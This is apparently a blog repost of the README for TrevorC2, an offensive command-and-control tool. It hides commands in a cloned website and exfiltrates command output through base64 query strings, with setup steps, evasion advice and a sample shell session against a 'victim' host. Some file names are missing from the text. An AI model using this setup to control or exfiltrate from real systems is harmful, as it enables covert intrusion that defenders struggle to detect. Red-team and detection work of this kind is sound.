TrevorC2 - Command and Control via Legitimate Behavior over HTTP

TrevorC2 - Command and Control via Legitimate Behavior over HTTP |

   TrevorC2 is a client/server model for masking command and control through a normally browsable website. Detection becomes much harder as time intervals are different and does not use POST requests for data exfil.

There are two components to TrevorC2 – the client and the server. The client can be configured to be used with anything. In this example it’s coded in Python but can easily be ported to C#, PowerShell, or whatever you want. Currently the supports Windows, MacOS, and Linux. You can always byte compile the Windows one to get an executable, but preference would be to use Windows without having to drop an executable as a stager.

The way that the server works is by tucking away a parameter thats right before the parameter. This is completely configurable, and it’s recommended you configure everything to be unique in order to evade detection. Here is the workflow:

  • – edit the file first, and customize, what website you want to clone, etc. The server will clone a website of your choosing and stand up a server. This server is browsable by anyone and looks like a legitimate website. Contained within the source is parameter that (again is configurable), which contains the instructions for the client. Once a client connects, it searches for that parameter, then uses it to execute commands.
  • – all you need in any configurable option is the ability to call out to a website, parse some basic data, and then execute a command and then put the results in a base64 encoded query string parameter to the site. That’s it, not hard.
  • trevor2_client.ps1 – powershell implementation of, this allows you to use native PowerShell to interact with Trevor2_Server.



pip install -r requirements.txt



First edit the – change the configuration options and site to clone.


Next, edit the or ps1 – change the configuration and system you want it to communicate back to.

python or .\trevor2_client.ps1


Session Management

   TrevorC2 supports the ability to handle multiple shells coming from different hostnames. The way TrevorC2 works is it will identify new hostnames as sessions. You can interact with the sessions once you execute a command. If you have multiple sessions, you can type a command and interact with that session based on the session number stored globally.

When first starting TrevorC2, you can type help or ? for additional information. Basic command usage is “list” which will list any active shells or none at all, or “interact <session_id>” to interact with the shell you want.

You can always type back/exit within a shell, it will still remain active and not actually kill the shell.

Example below:

root@stronghold:/home/relik/Desktop/git/trevorc2# python TrevorC2 - Legitimate Website Covert ChannelWritten by: David Kennedy (@HackingDave)[*] Cloning website:[*] Site cloned successfully.[*] Starting Trevor C2 Server...[*] Next, enter the command you want the victim to execute.[*] Client uses random intervals, this may take a few.[*] Type help for usage. Example commands, list, interact.trevorc2>help*** TrevorC2 Help Menu ***Command Usage:list - will list all shells availableinteract <id> - allow you to select which shells to interact withtrevorc2>list*** Available TrevorC2 Shells Below ***No available TrevorC2 shells.trevorc2>*** Received connection from and hostname stronghold for TrevorC2.trevorc2>list*** Available TrevorC2 Shells Below ***Format: <session_id> <hostname>:<ipaddress>1. stronghold: (Trevor C2 Established)trevorc2>interact 1[*] Dropping into trevorc2 shell...[*] Use exit or back to select other shellsstronghold:trevorc2>ifconfig[*] Waiting for command to be executed, be patient, results will be displayed here...[*] Received response back from client...=-=-=-=-=-=-=-=-=-=-=(HOSTNAME: strongholdCLIENT:     Link encap:Ethernet  HWaddr 00:0c:29:63:7c:67            inet addr:  Bcast:  Mask:          inet6 addr: fe80::4b6b:fb52:f109:a7af/64 Scope:Link          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1          RX packets:1400907 errors:0 dropped:0 overruns:0 frame:0          TX packets:2588882 errors:0 dropped:0 overruns:0 carrier:0          collisions:0 txqueuelen:1000           RX bytes:835091244 (835.0 MB)  TX bytes:2623070556 (2.6 GB)lo        Link encap:Local Loopback            inet addr:  Mask:          inet6 addr: ::1/128 Scope:Host          UP LOOPBACK RUNNING  MTU:65536  Metric:1          RX packets:453640 errors:0 dropped:0 overruns:0 frame:0          TX packets:453640 errors:0 dropped:0 overruns:0 carrier:0          collisions:0 txqueuelen:1000           RX bytes:211565776 (211.5 MB)  TX bytes:211565776 (211.5 MB)stronghold:trevorc2>backtrevorc2>exit[*] Exiting TrevorC2...

No comments

Note: Only a member of this blog may post a comment.

Powered by Blogger.